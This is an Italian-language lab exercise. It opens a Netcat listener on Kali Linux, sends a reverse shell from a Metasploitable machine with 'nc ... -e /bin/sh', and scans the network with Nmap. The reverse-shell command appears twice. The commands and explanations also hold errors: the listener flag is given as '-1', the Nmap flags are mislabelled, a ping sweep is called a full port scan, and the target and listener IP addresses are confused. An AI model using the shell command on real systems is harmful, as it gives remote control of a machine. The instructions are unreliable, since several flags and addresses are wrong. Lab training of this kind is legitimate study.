## Netcat

# Esercizio di Netcat e Scansione con Nmap

## Passaggio 1: Apertura di un Listener con Netcat

Per aprire un listener per le connessioni in entrata con Netcat, utilizziamo il seguente comando:

```
bash
nc -1 -p 1234
```

- -1: Apre un listener.
- -p 1234: Assegna la porta 1234 per ascoltare le connessioni in entrata.

## Passaggio 2: Connessione e Esecuzione di una Shell Remota con Netcat

Per connettersi a un indirizzo IP specifico e ottenere una shell remota, utilizziamo il comando:

```
bash
nc 192.168.3.245 1234 -e /bin/sh
```

- 192.168.3.245: L'indirizzo IP della macchina target.
- 1234: La porta a cui connettersi.
- -e /bin/sh: Esegue una shell che verrà reindirizzata al nostro sistema.

# Esercizio di Scansione con Nmap

Ora, utilizziamo Nmap per eseguire una scansione della rete e verificare che la porta 1234 sia aperta e in ascolto.

### Passaggio 3: Eseguire una Scansione di Rete con Nmap

Per eseguire una scansione completa delle porte aperte su una rete specifica, utilizziamo il comando:

```
bash nmap -sP 192.168.3.0/24
```

- -sp: Esegue una scansione di ping per identificare gli host attivi sulla rete.
- 192.168.3.0/24: Specifica l'intervallo di rete da scansionare.

#### Passaggio 4: Scansione delle Porte Aperte su un Host Specifico

Per identificare le porte aperte su un host specifico, utilizziamo il comando:

```
bash nmap -sV 192.168.3.245
```

- -sv: Esegue una scansione delle porte e tenta di identificare i servizi in esecuzione sulle porte aperte.
- 192.168.3.245: L'indirizzo IP della macchina target.

#### Esecuzione dell'Esercizio

### 1. Apertura del Listener su Kali Linux:

Aprire un terminale sulla tua macchina Kali Linux ed eseguire il comando per aprire un listener:

```
bash
nc -1 -p 1234
```

#### 2. Connessione alla Macchina Target su Metasploitable:

Aprire un terminale sulla macchina Metasploitable ed eseguire il comando per connetterti alla macchina Kali Linux e ottenere una shell remota:

```
bash nc 192.168.3.245 1234 -e /bin/sh
```

## 3. Esecuzione della Scansione con Nmap:

Su Kali Linux, eseguire una scansione della rete per identificare gli host attivi:

```
bash nmap -sP 192.168.3.0/24
```

Eseguire una scansione delle porte aperte sulla macchina target:

```
bash
nmap -sV 192.168.3.245
```

#### Conclusione

Seguendo questi passaggi, si potrà essere in grado di utilizzare Netcat per aprire un listener e connettersi a una macchina remota, ottenendo una shell per eseguire comandi dal terminale. Inoltre, si avrà eseguito una scansione di rete e delle porte aperte utilizzando Nmap per verificare la configurazione della rete e le porte aperte sui sistemi target.